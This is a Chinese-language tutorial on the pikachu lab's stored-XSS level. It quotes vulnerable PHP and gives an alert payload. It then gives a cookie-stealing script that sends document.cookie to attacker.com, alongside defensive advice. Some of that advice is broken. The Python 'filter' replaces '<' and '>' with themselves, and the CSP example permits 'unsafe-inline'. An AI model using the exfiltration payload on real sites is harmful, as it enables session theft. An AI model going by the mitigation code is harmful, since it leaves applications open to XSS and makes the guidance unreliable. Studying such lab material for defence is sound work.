pikachu靶场第七关——XSS(跨站脚本)之存储型xss(附代码审计)

源代码

 <?php echo $html;
                    $query="select * from message";
                    $result=execute($link, $query);
                    while($data=mysqli_fetch_assoc($result)){
                        echo "<p class='con'>{$data['content']}</p>

这里造成xss漏洞的主要原因在留言框中

它将输入的text值嵌入到了html代码中。

输入111<script>alert("xss")</script>

这样哪怕刷新,只要没有删除,xss会一直重复出现,这就是存储型xss。

### 存储XSS漏洞的利用方法与防护措施 存储XSS漏洞是一种严重的Web安全问题,通常发生在用户提交的数据被直接存储到数据库中,并在后续请求中未经过滤或转义就返回给其他用户时。以下是基于pikachu靶场的学习内容,对存储XSS漏洞的利用方法和防护措施进行详细说明。 #### 利用方法 存储XSS漏洞的利用主要涉及构造恶意代码并将其注入到应用程序中。以下是一个典的利用流程: 1. **寻找输入点** 在pikachu靶场中,可以找到留言板、评论区等允许用户输入内容的功能模块。这些功能通常会将用户输入的内容保存到数据库中[^2]。 2. **构造payload** 构造一个能够执行恶意脚本的payload。例如,以下是一个简单的payload,用于弹出对话框以验证漏洞是否存在: ```html <script>alert('XSS')</script> ``` 如果应用程序没有对输入进行过滤或转义,这个payload会被直接存储到数据库中。 3. **提交payload** 将构造好的payload提交到目标功能模块。例如,在留言板中输入上述payload并提交。 4. **验证漏洞** 当其他用户访问包含该payload的页面时,浏览器会解析并执行嵌入的脚本,从而触发XSS攻击。例如,当目标用户打开留言板时,会看到弹出的对话框`alert('XSS')`[^2]。 5. **扩展攻击** 一旦确认存在存储XSS漏洞,可以进一步利用该漏洞实施更复杂的攻击,如窃取Cookie、重定向用户到钓鱼网站等。例如,以下payload可以窃取用户的Cookie并发送到攻击者的服务器: ```html <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> ``` #### 防护措施 为了防止存储XSS漏洞的发生,需要从输入和输出两个方面进行防护: 1. **输入过滤** 对所有用户输入的内容进行严格的过滤,确保不允许非法字符或脚本通过。例如,可以使用正则表达式或其他工具来检测并移除潜在的恶意代码[^1]。 2. **输出转义** 在将数据输出到前端之前,根据上下文对特殊字符进行适当的转义。例如: - HTML上下文中,可以使用HTML实体编码(如将`<`替换为`<`)。 - JavaScript上下文中,可以使用JSON编码。 - URL上下文中,可以对特殊字符进行URL编码。 示例代码如下: ```python import html def escape_output(user_input): return html.escape(user_input) # 转义HTML特殊字符 ``` 3. **内容安全策略(CSP)** 配置Content-Security-Policy(CSP)头,限制页面可以加载的资源来源,从而减少XSS攻击的影响。例如: ```http Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ``` 4. **使用框架内置的安全机制** 现代Web开发框架通常提供了内置的安全机制,可以自动处理输入过滤和输出转义。例如,Django框架中的模板引擎默认会对变量进行转义[^3]。 5. **定期安全审计** 定期对应用程序进行安全审计,检查是否存在潜在的XSS漏洞。可以使用自动化工具(如Burp Suite、OWASP ZAP)辅助检测。 #### 示例代码 以下是一个简单的Python示例,展示如何对用户输入进行过滤和输出转义: ```python import html def save_comment(comment): # 输入过滤:移除潜在的恶意字符 filtered_comment = comment.replace('<', '<').replace('>', '>') # 模拟存储到数据库 with open("comments.txt", "a") as f: f.write(filtered_comment + "\n") def display_comments(): # 输出转义:确保输出内容不会被浏览器解析为脚本 with open("comments.txt", "r") as f: comments = f.readlines() for comment in comments: print(html.escape(comment.strip())) ``` ---
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